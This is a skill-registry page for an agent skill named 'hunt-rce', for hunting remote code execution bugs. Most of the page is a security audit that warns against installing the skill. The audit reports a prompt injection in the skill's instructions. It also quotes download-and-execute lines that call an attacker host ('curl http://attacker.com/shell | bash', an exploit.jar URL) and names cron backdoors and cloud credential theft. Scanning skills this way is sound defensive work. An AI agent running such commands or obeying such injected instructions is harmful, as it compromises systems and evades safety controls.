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hunt-rce

Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.

56

Quality

65%

Does it follow best practices?

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SecuritybySnyk

Critical

Do not install without reviewing

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tessl review fix ./skills/hunt-rce/SKILL.md
SKILL.md
Quality
Evals
Security

Security

2 findings: 2 critical severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.

Critical

E004: Prompt injection detected in skill instructions.

What this means

Detected a prompt injection in the skill instructions. The skill contains hidden or deceptive instructions that fall outside its stated purpose and attempt to override the agent’s safety guidelines or intended behavior.

Why it was flagged

The document contains explicit, actionable exploit instructions and payloads for achieving remote code execution, secret exfiltration, and malware delivery (e.g., cron backdoors, dependency-squatting postinstall callbacks, curl|bash, IMDS credential theft), which is clearly malicious/deceptive harmful guidance.

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Critical

E005: Suspicious download URL detected in skill instructions.

What this means

Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.

Why it was flagged

The document contains explicit download-and-execute instructions that fetch code from attacker-controlled hosts (e.g. http://attacker.com/exploit.jar and curl http://attacker.com/shell | bash), showing an operational malicious delivery vector.

Repository
elementalsouls/Claude-BugHunter
Audited
Security analysis
Snyk

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